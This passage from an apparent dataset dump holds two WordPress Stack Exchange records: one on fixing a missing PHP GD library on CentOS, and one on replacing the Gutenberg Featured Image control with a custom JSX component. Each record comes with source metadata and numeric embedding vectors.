with commented and save the file and restart both services Apache and MySQL. I hope this will help you. A: I had encountered the same issue with my blog, after searching for a while found out that it was because GD library for PHP which was not installed on the server Since my server is hosted on CentOS, to find the GD Library package within CentOS repository $ sudo yum list available | grep 'gd' Identify GD Library package name and install it $ sudo yum install php-gd Restart apache service $ sudo service httpd restart A detailed article that I wrote can be found here with command output screenshots
wordpress
{ "language": "en", "length": 405, "provenance": "stackexchange_00019.jsonl.gz:485811", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/302291" }
[ 0.03466796875, -0.005924224853515625, 0.045684814453125, 0.032501220703125, -0.0022602081298828125, -0.0206298828125, 0.060516357421875, -0.08154296875, 0.0836181640625, -0.003810882568359375, -0.053131103515625, -0.0106201171875, -0.0242462158203125, -0.013824462890625, -0.063720703125, -0.00833892822265625, 0.04327392578125, -0.06890869140625, -0.00862884521484375, -0.0239410400390625, 0.032073974609375, -0.006473541259765625, 0.022308349609375, 0.053802490234375, -0.04241943359375, 0.0457763671875, 0.046112060546875, -0.03045654296875, -0.06707763671875, -0.055084228515625, -0.01503753662109375, 0.0706787109375, 0.0232696533203125, 0.031097412109375, -0.0599365234375, 0.03179931640625, -0.0009236335754394531, 0.0103607177734375, 0.00940704345703125, 0.00839996337890625, -0.0207366943359375, 0.01922607421875, 0.028076171875, 0.01080322265625, -0.029632568359375, -0.03173828125, -0.021148681640625, -0.044403076171875, -0.0003440380096435547, 0.039031982421875, 0.0091705322265625, -0.0241851806640625, 0.0126953125, 0.0232696533203125, -0.00838470458984375, -0.017059326171875, -0.0081634521484375, 0.0848388671875, 0.0056304931640625, -0.03076171875, -0.042388916015625, 0.0562744140625, 0.00997161865234375, 0.01105499267578125, 0.02752685546875, -0.0215301513671875, 0.02142333984375, 0.032318115234375, -0.016693115234375, 0.0180206298828125, 0.016448974609375, -0.005828857421875, -0.0175323486328125, -0.016815185546875, 0.024932861328125, 0.002201080322265625, -0.022308349609375, -0.003376007080078125, 0.008941650390625, 0.044891357421875, 0.0239410400390625, -0.01201629638671875, -0.06451416015625, 0.00855255126953125, 0.01436614990234375, 0.0160980224609375, -0.00499725341796875, -0.01032257080078125, -0.03436279296875, 0.004180908203125, -0.03619384765625, -0.044525146484375, -0.01531219482421875, 0.0173797607421875, -0.0163726806640625, 0.007061004638671875, 0.002838134765625, -0.002552032470703125, -0.01806640625, 0.0113525390625, -0.01425933837890625, -0.026336669921875, 0.044219970703125, -0.034759521484375, 0.0173797607421875, 0.007595062255859375, -0.03155517578125, -0.0261383056640625, 0.048736572265625, 0.034820556640625, 0.003818511962890625, 0.0316162109375, -0.019989013671875, -0.04583740234375, -0.0239410400390625, 0.0333251953125, -0.02239990234375, -0.01027679443359375, 0.02069091796875, -0.0144195556640625, -0.0123443603515625, 0.0265960693359375, -0.033477783203125, -0.035675048828125, -0.009185791015625, -0.0265045166015625, 0.0051116943359375, 0.00424957275390625, 0.0484619140625, -0.019287109375, -0.02215576171875, 0.027374267578125, 0.01154327392578125, -0.004833221435546875, -0.0067291259765625, 0.0094146728515625, -0.00824737548828125, -0.0099945068359375, -0.01251983642578125, 0.01306915283203125, -0.00506591796875, -0.018218994140625, 0.01102447509765625, -0.00737762451171875, 0.0276641845703125, 0.0034046173095703125, -0.0010805130004882812, 0.02288818359375, 0.03948974609375, -0.021759033203125, 0.01751708984375, -0.0171661376953125, 0.000946044921875, 0.002429962158203125, 0.040679931640625, -0.042816162109375, 0.033538818359375, -0.041229248046875, 0.0304718017578125, -0.031951904296875, 0.0340576171875, -0.005771636962890625, 0.014190673828125, -0.0166015625, -0.015960693359375, -0.01198577880859375, -0.08941650390625, -0.006809234619140625, 0.01548004150390625, -0.043792724609375, -0.024322509765625, 0.03570556640625, 0.038299560546875, 0.037872314453125, 0.03045654296875, 0.033172607421875, 0.033782958984375, -0.033721923828125, -0.0007600784301757812, 0.07196044921875, 0.01546478271484375, -0.00948333740234375, 0.00799560546875, -0.0145721435546875, -0.0172576904296875, -0.027923583984375, 0.0126190185546875, 0.01277923583984375, 0.031463623046875, 0.0193634033203125, -0.0026569366455078125, 0.01078033447265625, -0.0207672119140625, 0.00818634033203125, -0.03399658203125, -0.0088958740234375, -0.0307769775390625, -0.006015777587890625, -0.022247314453125, 0.03863525390625, 0.03277587890625, 0.007457733154296875, 0.00411224365234375, -0.027374267578125, -0.0487060546875, -0.01323699951171875, -0.0194549560546875, 0.0238037109375, -0.0002624988555908203, 0.01424407958984375, 0.00334930419921875, -0.0223541259765625, -0.0024089813232421875, -0.002193450927734375, -0.0104827880859375, 0.010223388671875, -0.034942626953125, 0.032318115234375, -0.00876617431640625, 0.036163330078125, -0.052490234375, -0.029205322265625, -0.0204925537109375, -0.0241546630859375, 0.03424072265625, 0.01910400390625, -0.018218994140625, 0.0109710693359375, 0.0293426513671875, 0.0237884521484375, -0.0217437744140625, 0.01739501953125, -0.0146331787109375, 0.0280914306640625, -0.01473236083984375, -0.01116943359375, -0.036163330078125, -0.045867919921875, 0.00800323486328125, 0.0298004150390625, 0.0313720703125, 0.035858154296875, -0.0038318634033203125, 0.014251708984375, 0.07818603515625, -0.0379638671875, -0.0134124755859375, 0.0161285400390625, -0.005558013916015625, -0.01473236083984375, 0.0023136138916015625, -0.046783447265625, 0.040618896484375, -0.054290771484375, 0.008209228515625, 0.0102081298828125, -0.038177490234375, 0.00286102294921875, -0.032928466796875, 0.00012886524200439453, 0.0142669677734375, -0.03741455078125, -0.0241851806640625, 0.00024259090423583984, 0.01153564453125, -0.00177001953125, 0.0181427001953125, -0.0093841552734375, -0.04425048828125, 0.005340576171875, 0.036163330078125, 0.0035419464111328125, 0.008453369140625, 0.021148681640625, 0.0192413330078125, 0.06298828125, -0.042266845703125, -0.00022792816162109375, 0.0333251953125, 0.038543701171875, -0.028533935546875, 0.005950927734375, -0.0728759765625, -0.023040771484375, -0.0140228271484375, -0.0258026123046875, 0.0005736351013183594, -0.0084228515625, 0.004848480224609375, -0.00482940673828125, 0.01047515869140625, 0.0236358642578125, -0.01052093505859375, 0.0445556640625, -0.003612518310546875, -0.020294189453125, 0.062744140625, -0.0175323486328125, 0.01206207275390625, 0.0033626556396484375, 0.08441162109375, 0.06158447265625, -0.0133056640625, 0.0254669189453125, -0.0103912353515625, -0.039520263671875, 0.002147674560546875, 0.0081024169921875, -0.0214385986328125, -0.0736083984375, 0.0012235641479492188, -0.0021686553955078125, 0.013580322265625, 0.060546875, -0.03466796875, -0.0616455078125, -0.0280914306640625, 0.015899658203125, -0.0775146484375, -0.027130126953125, -0.041107177734375, -0.028961181640625, -0.019744873046875, -0.003955841064453125, 0.0014743804931640625, 0.01837158203125, -0.01280975341796875, 0.00275421142578125, 0.0031108856201171875, -0.0009641647338867188, -0.019989013671875, -0.042205810546875, -0.06842041015625, -0.079345703125, -0.0012798309326171875, 0.0245361328125, 0.01251220703125, -0.01255035400390625, 0.01212310791015625, -0.0265045166015625, 0.033172607421875, 0.054443359375, 0.0118255615234375, 0.0227203369140625, 0.0024776458740234375, 0.020721435546875, -0.003414154052734375, 0.0018482208251953125, -0.0298919677734375, 0.03887939453125, -0.038665771484375, -0.015167236328125, -0.042236328125, -0.041717529296875, -0.072509765625, 0.04107666015625, 0.06610107421875, -0.08074951171875, -0.042694091796875, -0.07769775390625, -0.03106689453125, -0.01812744140625, -0.0570068359375, 0.040252685546875, 0.0574951171875, -0.01512908935546875, -0.007381439208984375, -0.005435943603515625, 0.0233306884765625, 0.0372314453125, -0.0223846435546875, 0.0213775634765625, 0.06854248046875, -0.0008869171142578125, 0.0120391845703125, -0.02801513671875, -0.0123443603515625, -0.035797119140625, 0.06494140625, 0.0035266876220703125, -0.003398895263671875, -0.007175445556640625, 0.018463134765625, -0.01334381103515625, -0.0142822265625, 0.0195770263671875, 0.0291290283203125, 0.018157958984375, 0.0333251953125, -0.0214996337890625, 0.031707763671875, 0.0438232421875, -0.014862060546875, -0.042572021484375, -0.0160675048828125, -0.00015425682067871094, 0.0068511962890625, 0.0213623046875, 0.007904052734375, -0.0124664306640625, -0.07391357421875, 0.0024318695068359375, 0.005794525146484375, -0.032440185546875, -0.01448822021484375, 0.00909423828125, -0.039459228515625, -0.03857421875, 0.0189971923828125, -0.01273345947265625, -0.0256195068359375, 0.044891357421875, -0.040863037109375, 0.039642333984375, -0.01142120361328125, -0.023040771484375, -0.10064697265625, -0.01016998291015625, -0.025543212890625, 0.06854248046875, -0.046722412109375, 0.0841064453125, -0.059051513671875, 0.037567138671875, -0.00876617431640625, 0.04718017578125, -0.019989013671875, -0.00997161865234375, 0.0279693603515625, 0.017547607421875, 0.011444091796875, 0.00033783912658691406, 0.0107269287109375, -0.00862884521484375, -0.05718994140625, -0.0156707763671875, -0.03338623046875, 0.0035686492919921875, 0.014984130859375, -0.04327392578125, -0.0151824951171875, -0.02764892578125, 0.005184173583984375, 0.035308837890625, -0.01461029052734375, 0.0196075439453125, -0.0413818359375, -0.017913818359375, 0.060791015625, 0.0048828125, 0.003887176513671875, -0.01441192626953125, 0.09857177734375, 0.0029125213623046875, -0.0213775634765625, -0.020782470703125, -0.00299835205078125, 0.047637939453125, 0.0174713134765625, 0.033355712890625, 0.0300750732421875, -0.0275115966796875, 0.0189666748046875, 0.017425537109375, -0.06231689453125, 0.0038433074951171875, 0.0426025390625, 0.0013704299926757812, -0.03759765625, -0.006099700927734375, -0.0289154052734375, 0.04864501953125, 0.037628173828125, -0.017059326171875, 0.0204620361328125, -0.025970458984375, -0.00641632080078125, 0.01158905029296875, -0.037689208984375, -0.0207061767578125, -0.01010894775390625, 0.00792694091796875, -0.0184783935546875, 0.0145416259765625, 0.0021343231201171875, 0.0184326171875, -0.02978515625, 0.00447845458984375, -0.007537841796875, -0.011474609375, 0.00972747802734375, -0.0287628173828125, 0.036224365234375, -0.037872314453125, -0.03399658203125, 0.00511932373046875, -0.0010433197021484375, 0.053375244140625, 0.041259765625, -0.03497314453125, -0.01082611083984375, 0.0224609375, -0.00457763671875, -0.0399169921875, 0.019287109375, 0.03619384765625, -0.0126800537109375, -0.0194091796875, -0.00740814208984375, -0.0340576171875, -0.00628662109375, -0.045318603515625, 0.0265960693359375, 0.0225982666015625, -0.0203857421875, 0.06927490234375, -0.04486083984375, -0.006195068359375, -0.0026111602783203125, -0.00164031982421875, -0.0032711029052734375, 0.05792236328125, 0.0145263671875, 0.0254669189453125, -0.0219573974609375, -0.040496826171875, 0.01082611083984375, 0.0189208984375, -0.06903076171875, 0.000995635986328125, 0.0114288330078125, 0.0718994140625, -0.043792724609375, -0.068115234375, 0.0389404296875, -0.031890869140625, -0.00525665283203125, 0.0290069580078125, -0.028350830078125, -0.0577392578125, -0.012054443359375, 0.037384033203125, 0.035308837890625, -0.034515380859375, -0.038299560546875, 0.0015707015991210938, -0.00145721435546875, 0.051666259765625, 0.04559326171875, -0.034942626953125, 0.053863525390625, 0.04364013671875, 0.00635528564453125, -0.024169921875, -0.02899169921875, 0.01390838623046875, 0.0364990234375, -0.03271484375, -0.0150299072265625, 0.06048583984375, -0.0276947021484375, -0.0214691162109375, -0.0318603515625, 0.03619384765625, -0.054412841796875, 0.010162353515625, 0.027252197265625, 0.00582122802734375, -0.039764404296875, -0.0197296142578125, -0.06201171875, -0.029876708984375, -0.00395965576171875, 0.01532745361328125, -0.0159454345703125, 0.012969970703125, -0.006778717041015625, 0.0243377685546875, -0.00982666015625, 0.00563812255859375, 0.031524658203125, 0.0290985107421875, -0.0152740478515625, 0.049774169921875, -0.025360107421875, 0.00194549560546875, 0.030120849609375, 0.0094146728515625, -0.00677490234375, 0.023345947265625, 0.045166015625, -0.040557861328125, -0.0221099853515625, -0.04364013671875, 0.016571044921875, -0.0020275115966796875, 0.030426025390625, 0.0297393798828125, 0.032684326171875, 0.019012451171875, 0.00792694091796875, -0.024383544921875, -0.0009708404541015625, -0.00408935546875, 0.011566162109375, -0.02606201171875, -0.028289794921875, 0.07220458984375, -0.0263214111328125, 0.05902099609375, -0.0170135498046875, 0.025970458984375, 0.01482391357421875, -0.07403564453125, 0.0311279296875, 0.051513671875, 0.03125, 0.00923919677734375, 0.0821533203125, -0.027679443359375, 0.0293121337890625, 0.038970947265625, -0.021392822265625, 0.015167236328125, 0.055908203125, -0.0282135009765625, -0.04754638671875, 0.0150299072265625, 0.0033664703369140625, -0.0219268798828125, -0.0080718994140625, -0.020355224609375, 0.0303497314453125, 0.04193115234375, 0.0863037109375, -0.05242919921875, 0.04071044921875, 0.035980224609375, -0.0045623779296875, 0.0273284912109375, -0.00693511962890625, 0.0068817138671875, -0.0160369873046875, 0.047393798828125, -0.042144775390625, -0.01373291015625, 0.0008096694946289062, -0.034759521484375, -0.03033447265625, -0.01763916015625, 0.038787841796875, -0.0117645263671875, -0.0667724609375, -0.0243377685546875, 0.0316162109375, -0.058563232421875, -0.0027141571044921875, 0.0284576416015625, -0.01617431640625, 0.006000518798828125, -0.0251312255859375, 0.01198577880859375, -0.0236968994140625, -0.0243988037109375, -0.00487518310546875, 0.006359100341796875, -0.004833221435546875, 0.023193359375, -0.0092010498046875, -0.0077667236328125, 0.012847900390625, -0.038848876953125, 0.09783935546875, -0.0195770263671875, 0.0244140625, 0.06732177734375, -0.07269287109375, -0.00580596923828125, 0.00604248046875, 0.046875, -0.01177978515625, -0.006160736083984375, 0.037200927734375, 0.00527191162109375, -0.0164337158203125, 0.0404052734375, 0.040008544921875, -0.0172119140625, 0.005390167236328125, 0.043365478515625, -0.0430908203125, -0.013427734375, 0.01428985595703125, -0.0160064697265625, 0.028167724609375, 0.015594482421875, -0.00859832763671875, 0.020843505859375, -0.00043320655822753906, -0.01201629638671875, 0.00919342041015625, 0.00432586669921875, -0.0172882080078125, -0.005947113037109375, -0.0247039794921875, 0.020263671875, -0.0440673828125, 0.041229248046875, -0.052520751953125, 0.01953125, -0.0017156600952148438, 0.0109405517578125, 0.0279541015625, 0.0016412734985351562, -0.03216552734375, -0.018524169921875, 0.04449462890625, 0.049652099609375, 0.0257720947265625, 0.0238037109375, -0.0011196136474609375, -0.02398681640625, -0.0087127685546875, -0.002166748046875, 0.02642822265625, -0.07098388671875, -0.0194854736328125, 0.01232147216796875, -0.00853729248046875, -0.009307861328125, 0.0244140625, -0.00527191162109375, -0.04608154296875, 0.0017004013061523438, 0.0289306640625, -0.016693115234375, 0.011749267578125, 0.035125732421875, 0.019073486328125, 0.00994873046875, -0.055145263671875, -0.0002536773681640625, 0.029083251953125, 0.008514404296875, 0.022491455078125, -0.006305694580078125, 0.0015077590942382812, 0.006885528564453125, 0.025054931640625, 0.0083465576171875, 0.060089111328125, -0.0222015380859375, -0.0208282470703125, 0.0166473388671875, 0.007282257080078125, -0.0068359375, 0.034759521484375, 0.0170745849609375, -0.0029506683349609375, -0.022430419921875, -0.030364990234375, 0.0056915283203125, -0.005977630615234375, 0.0030117034912109375, -0.0019989013671875, -0.0130615234375, -0.04107666015625, 0.002193450927734375, -0.04034423828125, 0.0023746490478515625, 0.0615234375, 0.0137176513671875, 0.0004532337188720703, -0.0029296875, -0.027740478515625, -0.0034084320068359375, -0.01349639892578125, 0.001651763916015625, -0.005214691162109375, 0.039306640625, 0.0249176025390625, 0.004962921142578125, -0.0242156982421875, -0.016265869140625, -0.00933074951171875, 0.05792236328125, -0.03863525390625, 0.0216827392578125, -0.032470703125, -0.056976318359375, -0.0283203125, 0.0282135009765625, -0.0278778076171875, -0.0005717277526855469, 0.015777587890625, -0.003688812255859375, -0.0855712890625, -0.0231170654296875, 0.0195770263671875, -0.054901123046875, -0.0021610260009765625, -0.01132965087890625, 0.028167724609375, 0.0159912109375, 0.0074920654296875, -0.016845703125, 0.046600341796875, 0.02593994140625, -0.01206207275390625, 0.01751708984375, 0.0007987022399902344, -0.0149078369140625, 0.0271453857421875, -0.044769287109375, 0.0292816162109375, -0.0152587890625, -0.06292724609375, -0.0253753662109375, -0.0158538818359375, -0.003265380859375, 0.01490020751953125, 0.030853271484375, -0.0235443115234375, 0.03472900390625, -0.06024169921875, -0.02325439453125, 0.0112762451171875, -0.0133209228515625, -0.004344940185546875, 0.032989501953125, -0.006061553955078125, -0.01387786865234375, 0.0084228515625, -0.0005793571472167969, -0.0012731552124023438, 0.03369140625, 0.007511138916015625, 0.0543212890625, -0.02410888671875, 0.032135009765625, 0.02056884765625, 0.0268707275390625, -0.007373809814453125, 0.002017974853515625, 0.02117919921875, 0.0028667449951171875, 0.0224761962890625, -0.038726806640625, -0.0286407470703125, 0.00555419921875, 0.0196075439453125, -0.03497314453125, 0.0102081298828125, -0.01459503173828125, 0.0098876953125, 0.006023406982421875, 0.051239013671875, -0.01471710205078125, -0.06103515625, -0.051055908203125, 0.0089874267578125, 0.02325439453125, 0.068603515625, 0.0099334716796875, 0.01212310791015625, 0.00896453857421875, 0.0020847320556640625, 0.01727294921875, -0.00919342041015625, 0.031890869140625, 0.0523681640625, -0.04144287109375, -0.052947998046875, 0.003025054931640625, -0.001461029052734375, -0.039398193359375, 0.022247314453125, 0.037506103515625, -0.0170135498046875, -0.00623321533203125, 0.029632568359375, 0.00879669189453125, 0.006134033203125, -0.035858154296875, -0.02337646484375, 0.02899169921875, 0.00023424625396728516, 0.01021575927734375, -0.01971435546875, -0.0081024169921875, -0.006694793701171875, -0.0227203369140625, 0.0209197998046875, 0.0011663436889648438, 0.0022525787353515625, -0.005245208740234375, -0.006885528564453125, 0.0162811279296875, 0.025146484375, -0.06683349609375, 0.058197021484375, -0.0060577392578125, -0.01287078857421875, -0.0162200927734375, -0.061859130859375, 0.01513671875, 0.026153564453125, -0.0345458984375, -0.0736083984375, -0.045013427734375, 0.0297698974609375, -0.06280517578125, 0.0303497314453125, 0.07147216796875, -0.0328369140625, -0.0132598876953125, -0.004627227783203125, 0.0225067138671875, 0.03692626953125, -0.017852783203125, -0.03619384765625, -0.00012290477752685547, -0.02813720703125, -0.01161956787109375, -0.0298309326171875, 0.01306915283203125, -0.06573486328125, -0.0179901123046875, -0.060791015625, 0.01183319091796875, -0.0299835205078125, -0.072509765625, -0.11419677734375, 0.0261993408203125, -0.030731201171875, -0.029876708984375, 0.0168304443359375, -0.017822265625, -0.02655029296875, 0.05194091796875, 0.0249481201171875, -0.013885498046875, -0.01494598388671875, 0.007457733154296875, -0.0014638900756835938, 0.009490966796875, 0.008453369140625, -0.0240631103515625, -0.0297698974609375, 0.01535797119140625, 0.031890869140625, -0.0002570152282714844, 0.001964569091796875, -0.0046234130859375, 0.024749755859375, 0.06024169921875, 0.006534576416015625, -0.058837890625, 0.000579833984375, -0.07012939453125, -0.0195770263671875, 0.01207733154296875, -0.0268402099609375, 0.0008077621459960938, 0.0640869140625, 0.0307464599609375, 0.0218963623046875, -0.02203369140625, -0.00875091552734375, -0.03265380859375, -0.0018301010131835938, -0.020050048828125, 0.0036945343017578125, -0.06036376953125, -0.0185394287109375, 0.01482391357421875, -0.037628173828125, 0.00630950927734375, -0.01399993896484375, -0.06536865234375, 0.0007305145263671875, -0.058837890625, -0.007015228271484375, -0.07763671875, 0.030548095703125, 0.034759521484375, -0.0273895263671875, -0.00029087066650390625, -0.01580810546875, -0.0014829635620117188, 0.030548095703125, 0.005462646484375, 0.02392578125, 0.02203369140625, -0.055419921875, 0.0264892578125, -0.01041412353515625, 0.032867431640625, -0.046783447265625, -0.03564453125, 0.0247802734375, 0.001316070556640625, -0.0249786376953125, -0.0249481201171875, 0.0237579345703125, 0.007190704345703125, -0.04833984375, -0.01995849609375, -0.0234832763671875, 0.0221710205078125, -0.01187896728515625, 0.0107421875, -0.0104827880859375, 0.016754150390625, 0.012481689453125, -0.007091522216796875, 0.018585205078125, -0.0032863616943359375, -0.000553131103515625, 0.007244110107421875, -0.009368896484375, -0.0139923095703125, -0.0262298583984375, 0.006786346435546875 ]
1d38486de3bd809dedabcf4855ccf47800e71e64
Wordpress Stackexchange Q: Replacing Gutenberg Featured Image control? I can replace the Featured Image control in current WP version by PHP: add_filter( 'admin_post_thumbnail_html', 'my_admin_post_thumbnail_html', 10, 2 ); How do I do the same thing with Gutenberg? A: Here is an example of adding a new component to the Featured Image area. This was taken from the official docs and updated to use JSX. I am using the @wordpress/scripts package to build this out. // Import from the hooks package import { addFilter } from '@wordpress/hooks'; // Some custom component to add. const CustomComponent = ({ id }) => { return id ? ( <h4>You selected an image, yay!</h4> ) : ( <div>You have not selected anything</div> ); }; // Function to be called by the hook that returns a function containing the new UI function replacePostFeaturedImage(OriginalComponent) { return (props) => { const { featuredImageId } = props; return ( <div> <CustomComponent id={featuredImageId} /> <OriginalComponent {...props} /> </div> ); }; } // Register the hook. addFilter( 'editor.PostFeaturedImage', 'my-plugin/replace-post-featured-image', replacePostFeaturedImage ); To replace the entire component, just remove <OriginalComponent /> from the replacePostFeaturedImage function. Hope it helps and happy to add any further context as needed!
Q: Replacing Gutenberg Featured Image control? I can replace the Featured Image control in current WP version by PHP: add_filter( 'admin_post_thumbnail_html', 'my_admin_post_thumbnail_html', 10, 2 ); How do I do the same thing with Gutenberg? A: Here is an example of adding a new component to the Featured Image area. This was taken from the official docs and updated to use JSX. I am using the @wordpress/scripts package to build this out. // Import from the hooks package import { addFilter } from '@wordpress/hooks'; // Some custom component to add. const CustomComponent = ({ id }) => { return id ? ( <h4>You selected an image, yay!</h4> ) : ( <div>You have not selected anything</div> ); }; // Function to be called by the hook that returns a function containing the new UI function replacePostFeaturedImage(OriginalComponent) { return (props) => { const { featuredImageId } = props; return ( <div> <CustomComponent id={featuredImageId} /> <OriginalComponent {...props} /> </div> ); }; } // Register the hook. addFilter( 'editor.PostFeaturedImage', 'my-plugin/replace-post-featured-image', replacePostFeaturedImage ); To replace the entire component, just remove <OriginalComponent /> from the replacePostFeaturedImage function. Hope it helps and happy to add any further context as needed!
wordpress
{ "language": "en", "length": 192, "provenance": "stackexchange_00019.jsonl.gz:485852", "question_score": "6", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/302426" }
[ 0.03326416015625, -0.0029468536376953125, 0.01500701904296875, -0.0010919570922851562, 0.028167724609375, -0.02752685546875, 0.06781005859375, -0.03436279296875, 0.0215606689453125, 0.0284423828125, 0.0193328857421875, -0.01363372802734375, 0.008056640625, -0.039703369140625, -0.0213165283203125, 0.0037288665771484375, 0.031402587890625, -0.00931549072265625, 0.0377197265625, 0.0078277587890625, -0.0182037353515625, 0.036590576171875, 0.007171630859375, 0.00997161865234375, 0.0322265625, -0.0269317626953125, 0.0237274169921875, 0.00582122802734375, -0.0036907196044921875, -0.0135955810546875, 0.0188751220703125, 0.0187530517578125, 0.01346588134765625, 0.033660888671875, -0.052581787109375, -0.03765869140625, 0.01416015625, -0.003604888916015625, -0.0017833709716796875, 0.004608154296875, 0.0188140869140625, 0.0015020370483398438, -0.0253448486328125, 0.00933837890625, -0.030487060546875, -0.0158233642578125, -0.0097198486328125, -0.044647216796875, 0.03533935546875, 0.0107421875, -0.0068817138671875, 0.017242431640625, -0.01514434814453125, 0.00728607177734375, -0.00858306884765625, -0.009552001953125, -0.041412353515625, 0.0596923828125, 0.0271759033203125, 0.0308685302734375, -0.0151214599609375, 0.0164337158203125, -0.003143310546875, -0.0390625, 0.0284271240234375, -0.0192108154296875, -0.01220703125, 0.005077362060546875, -0.0149993896484375, 0.03466796875, 0.029632568359375, -0.0242462158203125, -0.0014944076538085938, -0.03717041015625, -0.00994873046875, 0.041015625, -0.044830322265625, -0.043212890625, 0.024658203125, 0.0009474754333496094, 0.01247406005859375, -0.026519775390625, 0.03936767578125, -0.01371002197265625, -0.006626129150390625, -0.01197052001953125, -0.003597259521484375, 0.014434814453125, -0.031951904296875, -0.0034351348876953125, -0.024749755859375, -0.07391357421875, -0.0360107421875, 0.058746337890625, 0.024017333984375, 0.0023956298828125, 0.039276123046875, 0.0098724365234375, 0.0010194778442382812, 0.00878143310546875, 0.0220184326171875, -0.06573486328125, 0.06732177734375, -0.027862548828125, 0.022247314453125, 0.0288238525390625, -0.03118896484375, 0.007053375244140625, 0.0484619140625, 0.032073974609375, 0.010955810546875, 0.00507354736328125, -0.002513885498046875, -0.01812744140625, -0.0261993408203125, 0.025543212890625, -0.015625, 0.013671875, 0.00653839111328125, 0.031829833984375, 0.0084381103515625, -0.0222930908203125, 0.0256195068359375, -0.00977325439453125, 0.02740478515625, 0.01216888427734375, -0.051177978515625, -0.004772186279296875, 0.0268402099609375, -0.042755126953125, -0.034271240234375, 0.02276611328125, 0.11865234375, 0.06817626953125, 0.056060791015625, -0.00917816162109375, 0.04315185546875, 0.0172271728515625, 0.00315093994140625, -0.01349639892578125, 0.001983642578125, -0.01331329345703125, -0.006317138671875, -0.012481689453125, 0.04547119140625, -0.0179443359375, 0.007411956787109375, 0.038299560546875, 0.0165557861328125, -0.0077667236328125, 0.053741455078125, -0.0279998779296875, 0.0067901611328125, 0.039947509765625, 0.01294708251953125, -0.003147125244140625, 0.07305908203125, -0.02996826171875, 0.00800323486328125, -0.054443359375, 0.0287933349609375, -0.020294189453125, -0.007801055908203125, -0.00531005859375, -0.032257080078125, 0.01287078857421875, -0.0262908935546875, -0.002445220947265625, 0.0260467529296875, 0.014923095703125, 0.002300262451171875, -0.0283355712890625, -0.036224365234375, -0.01253509521484375, -0.017791748046875, 0.0193939208984375, 0.0002963542938232422, 0.0167236328125, 0.02423095703125, 0.036224365234375, 0.015655517578125, -0.01374053955078125, 0.0765380859375, -0.0144805908203125, -0.0301055908203125, -0.00794219970703125, 0.017608642578125, 0.032379150390625, 0.0298004150390625, 0.026947021484375, 0.024658203125, -0.01329803466796875, -0.047119140625, 0.0032138824462890625, 0.003147125244140625, -0.0230255126953125, 0.015594482421875, -0.00800323486328125, 0.004421234130859375, 0.0108795166015625, 0.039764404296875, 0.013031005859375, 0.00939178466796875, -0.0028553009033203125, -0.051177978515625, 0.01538848876953125, -0.0188446044921875, 0.03271484375, -0.02447509765625, 0.02313232421875, 0.027099609375, 0.01375579833984375, -0.0362548828125, 0.0323486328125, 0.0126800537109375, -0.0110015869140625, -0.0008974075317382812, 0.00768280029296875, 0.014495849609375, 0.043548583984375, -0.001850128173828125, 0.0145416259765625, -0.029083251953125, -0.0295562744140625, 0.09564208984375, 0.00519561767578125, -0.021240234375, -0.0343017578125, 0.01439666748046875, 0.038177490234375, -0.1273193359375, 0.036102294921875, -0.02093505859375, -0.0012502670288085938, -0.0031280517578125, 0.007598876953125, 0.037200927734375, -0.0506591796875, 0.01824951171875, 0.019439697265625, 0.0399169921875, 0.03692626953125, 0.002948760986328125, -0.008514404296875, 0.0723876953125, 0.02105712890625, 0.04083251953125, -0.03338623046875, -0.009552001953125, 0.0006890296936035156, -0.021697998046875, 0.0011091232299804688, 0.036651611328125, -0.0041351318359375, 0.01422882080078125, 0.03729248046875, 0.02197265625, 0.023681640625, -0.037078857421875, 0.00656890869140625, 0.011566162109375, 0.0274200439453125, -0.0408935546875, 0.01690673828125, 0.0469970703125, -0.0000978708267211914, 0.03936767578125, 0.01953125, -0.0246124267578125, 0.00897216796875, 0.01457977294921875, 0.0007271766662597656, 0.0061798095703125, 0.0160675048828125, 0.01270294189453125, 0.030029296875, -0.0281524658203125, -0.00682830810546875, 0.0305023193359375, 0.0135040283203125, -0.00240325927734375, 0.015777587890625, -0.01360321044921875, -0.00909423828125, 0.006374359130859375, -0.04510498046875, 0.0103912353515625, 0.0183258056640625, 0.02386474609375, -0.0078887939453125, 0.040496826171875, -0.027099609375, -0.0017833709716796875, -0.00885772705078125, 0.01258087158203125, -0.034637451171875, 0.00858306884765625, -0.06488037109375, 0.04150390625, -0.034637451171875, 0.0791015625, 0.07080078125, -0.01189422607421875, 0.01215362548828125, 0.0005974769592285156, -0.037872314453125, -0.01239776611328125, 0.017913818359375, -0.0177459716796875, -0.035308837890625, -0.02239990234375, 0.035736083984375, 0.036865234375, 0.0215606689453125, -0.0118408203125, -0.02880859375, -0.0284576416015625, 0.00843048095703125, -0.07421875, -0.070556640625, -0.044158935546875, -0.035308837890625, -0.03961181640625, 0.01528167724609375, -0.0188446044921875, 0.0313720703125, 0.0308074951171875, -0.01024627685546875, -0.059539794921875, 0.0207366943359375, -0.01438140869140625, -0.039947509765625, -0.02972412109375, -0.0020389556884765625, -0.00957489013671875, 0.02008056640625, 0.002429962158203125, 0.0200042724609375, 0.0032863616943359375, -0.0064239501953125, 0.03955078125, 0.01174163818359375, 0.009246826171875, 0.005313873291015625, 0.04083251953125, -0.0775146484375, -0.0226898193359375, 0.006015777587890625, 0.020294189453125, 0.00511932373046875, -0.017333984375, 0.0199432373046875, -0.02862548828125, 0.00412750244140625, -0.0194244384765625, 0.038787841796875, 0.040802001953125, -0.0166778564453125, 0.01546478271484375, -0.0404052734375, -0.01541900634765625, -0.054840087890625, -0.05706787109375, 0.030120849609375, 0.0252838134765625, 0.03173828125, -0.006755828857421875, 0.020538330078125, 0.01146697998046875, 0.0260772705078125, 0.04608154296875, -0.01396942138671875, 0.010498046875, -0.023712158203125, -0.0439453125, -0.06317138671875, 0.0133819580078125, -0.013519287109375, 0.0277862548828125, 0.003856658935546875, 0.047119140625, 0.01486968994140625, -0.007579803466796875, -0.026123046875, -0.029388427734375, 0.0212249755859375, -0.01348114013671875, 0.018798828125, -0.003692626953125, -0.00849151611328125, 0.0182647705078125, 0.054412841796875, -0.01367950439453125, -0.0138092041015625, -0.00710296630859375, -0.03277587890625, 0.037261962890625, 0.03668212890625, -0.0594482421875, -0.0034580230712890625, -0.0904541015625, -0.024139404296875, -0.002552032470703125, -0.059478759765625, 0.0224456787109375, -0.0174713134765625, -0.054595947265625, -0.0364990234375, 0.03326416015625, -0.040496826171875, 0.0201568603515625, 0.04296875, -0.0316162109375, 0.038970947265625, 